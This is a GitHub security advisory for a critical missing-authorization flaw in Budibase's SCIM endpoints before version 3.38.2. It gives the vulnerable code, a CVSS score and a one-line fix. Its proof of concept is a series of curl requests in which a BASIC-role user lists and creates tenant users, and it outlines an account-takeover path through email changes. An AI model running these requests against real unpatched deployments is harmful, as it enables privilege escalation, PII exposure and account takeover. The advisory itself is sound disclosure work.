Skip to content

SCIM endpoints lack role-based authorization, BASIC users CRUD tenant users

Critical
mjashanks published GHSA-q9rw-q89f-jx2f May 14, 2026

Software

Budibase/budibase

Affected versions

< 3.38.2

Patched versions

3.38.2

Description

Summary

packages/worker/src/api/routes/global/scim.ts attaches only two middlewares to the SCIM router: requireSCIM (checks the Enterprise feature flag and SCIM config) and doInScimContext (sets the SCIM request context). There is no role check. Any authenticated user who reaches the worker (BASIC role, workspace-scoped builder, anyone) can call SCIM endpoints and CRUD every user and group in the tenant. The non-SCIM equivalents at /api/global/groups already enforce auth.adminOnly; the SCIM routes are the missing half of that pair.

Details

SCIM router as currently wired:

// packages/worker/src/api/routes/global/scim.ts:7-51
const router: Router = new Router({ prefix: "/api/global/scim/v2" })

router.use(proMiddleware.requireSCIM)
router.use(proMiddleware.doInScimContext)

router.get("/users", userController.get)
router.post("/users", userController.create)
router.patch("/users/:id", proMiddleware.scimUserOnly("id"), userController.update)
router.delete("/users/:id", proMiddleware.scimUserOnly("id"), userController.remove)
router.get("/groups", groupController.get)
router.post("/groups", proMiddleware.feature.requireFeature(Feature.USER_GROUPS), groupController.create)
// ...

requireSCIM (packages/pro/src/middleware/requireSCIM.ts:5-9) calls features.checkSCIM(), which confirms the SCIM feature is licensed and the tenant has enabled SCIM. It does not look at the caller's role.

Compare the non-SCIM group router:

// packages/worker/src/api/routes/global/groups.ts:32-50
router
  .post("/api/global/groups", auth.adminOnly, proMiddleware.feature.requireFeature(Feature.USER_GROUPS), buildGroupSaveValidation(), controller.save)
  .delete("/api/global/groups/:groupId/:rev", proMiddleware.feature.requireFeature(Feature.USER_GROUPS), auth.adminOnly, proMiddleware.internalGroupOnly("groupId"), controller.destroy)
  .get("/api/global/groups/:groupId", proMiddleware.feature.requireFeature(Feature.USER_GROUPS), auth.builderOrAdmin, controller.find)

auth.adminOnly and auth.builderOrAdmin are present on every user- and group-mutating route. The SCIM twin of each has neither.

The worker's global auth middleware (packages/worker/src/api/index.ts:154-165) sits above the router and enforces isAuthenticated. Any logged-in user with budibaseAccess=true passes, which is every account in the tenant. The SCIM routes therefore accept BASIC-role apps users as if they were tenant admins.

Proof of Concept

Tested on Budibase 3.35.8 (master at f960e36). The SCIM license + config gate (features.checkSCIM) was bypassed in the test bundle so the underlying RBAC gap could be reproduced end-to-end. On a licensed Enterprise tenant with SCIM enabled the gate passes and the same requests land.

Step 1: Bob, a BASIC user with a role on any app, logs in and takes a CSRF token:

curl -sS -c bob -X POST "$BASE/api/global/auth/default/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"basic@aisafe.test","password":"Basic!Test!2026"}' > /dev/null
CSRF=$(curl -sS -b bob "$BASE/api/global/self" | jq -r .csrfToken)

Step 2: Bob lists every SCIM user. No admin role required:

curl -sS -b bob -H "x-csrf-token: $CSRF" -H "Accept: application/scim+json" \
  "$BASE/api/global/scim/v2/users"
{"schemas":["urn:ietf:params:scim:api:messages:2.0:ListResponse"],
 "totalResults":0,"Resources":[],"startIndex":1,"itemsPerPage":20}

HTTP 200. No "Admin/Builder user only endpoint" rejection. The empty result is because no SCIM-created users exist yet; the endpoint is reachable.

Step 3: Bob creates a user via SCIM POST:

curl -sS -b bob -X POST "$BASE/api/global/scim/v2/users" \
  -H "x-csrf-token: $CSRF" -H "Content-Type: application/scim+json" \
  -d '{"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],
       "userName":"scim-injected@aisafe.test",
       "emails":[{"value":"scim-injected@aisafe.test","primary":true}],
       "name":{"givenName":"SCIM","familyName":"Injected"},
       "active":true}'

Response, HTTP 200:

{"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],
 "userName":"scim-injected@aisafe.test",
 "id":"us_d4cdaf27c447424c8d506bed85d9c653",
 "active":true,"meta":{"resourceType":"User","created":"...","lastModified":"..."}}

Admin confirms the user exists in the tenant DB:

curl -sS -b admin "$BASE/api/global/users/us_d4cdaf27c447424c8d506bed85d9c653"
{"_id":"us_d4cdaf27c447424c8d506bed85d9c653",
 "email":"scim-injected@aisafe.test",
 "scimInfo":{"userName":"...","active":true,"isSync":true},
 "roles":{},"builder":null,"admin":null}

Bob, a BASIC user, has created a tenant user. The scimInfo.isSync: true flag makes the new account a SCIM-managed identity, which downstream admin UIs treat as provisioned.

Bob can continue: PATCH /api/global/scim/v2/users/<id> to change the user's email (attacker-controlled email on an existing account is an account-takeover primitive via password reset); DELETE to deactivate; POST /groups plus group-membership operations to move legitimate accounts into attacker-controlled groups (and pick up any group-assigned roles).

Impact

On any Enterprise tenant that has SCIM turned on, every authenticated user, including plain BASIC app users, performs these admin-only operations:

  • List every user in the tenant, leaking PII (email, name, group membership).
  • Create new users with arbitrary attributes and isSync: true, which downstream UIs show as provisioned identities.
  • Change an existing user's userName or email; on Budibase the email is the login identifier and the password-reset target, so this escalates to account takeover of that user.
  • Deactivate or delete users, including admins.
  • Modify group membership. Groups can carry role assignments, so moving a user into an attacker-controlled group grants whichever role that group holds.

Recommended Fix

Add auth.adminOnly to the SCIM router at the same level as requireSCIM:

// packages/worker/src/api/routes/global/scim.ts:11-13
router.use(proMiddleware.requireSCIM)
router.use(proMiddleware.doInScimContext)
router.use(auth.adminOnly)

One line closes every route. The rest of the file needs no change.

Review every router that uses proMiddleware.requireSCIM or proMiddleware.doInScimContext in isolation. If the pattern "feature-flag gate plus no role check" exists elsewhere (audit logs, enterprise settings), the same fix applies.


Found by aisafe.io

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-46425

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits